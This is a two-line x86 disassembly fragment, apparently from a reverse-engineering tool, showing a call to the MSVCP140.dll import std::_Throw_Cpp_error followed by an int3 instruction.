call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3